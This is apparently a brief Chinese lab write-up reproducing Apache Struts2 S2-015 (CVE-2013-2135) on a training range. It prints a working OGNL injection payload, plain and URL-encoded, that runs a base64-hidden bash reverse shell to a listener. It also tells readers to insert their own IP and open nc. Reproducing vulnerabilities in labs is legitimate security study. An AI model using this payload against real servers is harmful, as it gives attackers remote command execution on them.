[漏洞复现]Apache Struts2/S2-015 (CVE-2013-2135)

一、漏洞情况分析

2.3.14.3 之前的 Apache Struts 2 允许远程攻击者通过一个包含"${}"和"%{}"序列的特制值的请求执行任意 OGNL 代码,这会导致 OGNL 代码被评估两次。

二、漏洞复现

春秋云境.com

进入靶场

开始复现

构造好payload,弹nc

html 复制代码
${#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#m.setAccessible(true),#m.set(#_memberAccess,true),#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvODA4MCAwPiYx}|{base64,-d}|{bash,-i}').getInputStream()),#q}.action

就构造好的payload,url编码

html 复制代码
%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass().getDeclaredField(%27allowStaticMethodAccess%27)%2C%23m.setAccessible(true)%2C%23m.set(%23_memberAccess%2Ctrue)%2C%23q%3D%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec(%27bash%20-c%20%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMjcuMC4wLjEvODA4MCAwPiYx%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D%27).getInputStream())%2C%23q%7D.action

接入我们的ip后面,同时本地打开nc监听

三、漏洞处置建议

把靶场关了,跟漏洞说"白白吧

相关推荐
AntDreamer几秒前
在实际开发中,如何根据项目需求调整 RecyclerView 的缓存策略?
android·java·缓存·面试·性能优化·kotlin
Coremail邮件安全4 分钟前
寻呼机爆炸,炸醒通讯安全警惕心
安全·网络安全·邮件安全·国产信创
java_heartLake5 分钟前
设计模式之建造者模式
java·设计模式·建造者模式
G皮T5 分钟前
【设计模式】创建型模式(四):建造者模式
java·设计模式·编程·建造者模式·builder·建造者
niceffking9 分钟前
JVM HotSpot 虚拟机: 对象的创建, 内存布局和访问定位
java·jvm
FreeBuf_12 分钟前
Dependency Check:一款针对应用程序依赖组件的安全检测工具
安全
菜鸟求带飞_12 分钟前
算法打卡:第十一章 图论part01
java·数据结构·算法
小安运维日记14 分钟前
Linux云计算 |【第三阶段】PROJECT1-DAY1
linux·运维·云计算·apache
骆晨学长29 分钟前
基于springboot的智慧社区微信小程序
java·数据库·spring boot·后端·微信小程序·小程序
AskHarries34 分钟前
利用反射实现动态代理
java·后端·reflect